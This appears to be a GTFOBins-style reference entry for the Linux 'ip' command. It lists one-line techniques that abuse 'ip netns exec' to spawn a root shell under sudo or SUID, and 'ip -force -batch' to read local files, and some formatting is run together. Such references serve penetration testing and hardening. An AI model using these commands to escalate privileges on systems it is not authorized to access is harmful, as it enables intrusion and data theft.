ip
Shell
This executable can spawn an interactive system shell.
- This function is performed by the privileged user if executed via
sudobecause the acquired privileges are not dropped.ip netns add fooip netns exec foo /bin/ship netns delete fooThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.ip netns add fooip netns exec foo /bin/sh -pip netns delete foo - This function is performed by the privileged user if executed via
sudobecause the acquired privileges are not dropped.ip netns add fooip netns exec foo /bin/ln -s /proc/1/ns/net /var/run/netns/barip netns exec bar /bin/ship netns delete fooip netns delete bar
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
ip -force -batch /path/to/input-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.ip -force -batch /path/to/input-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.ip -force -batch /path/to/input-file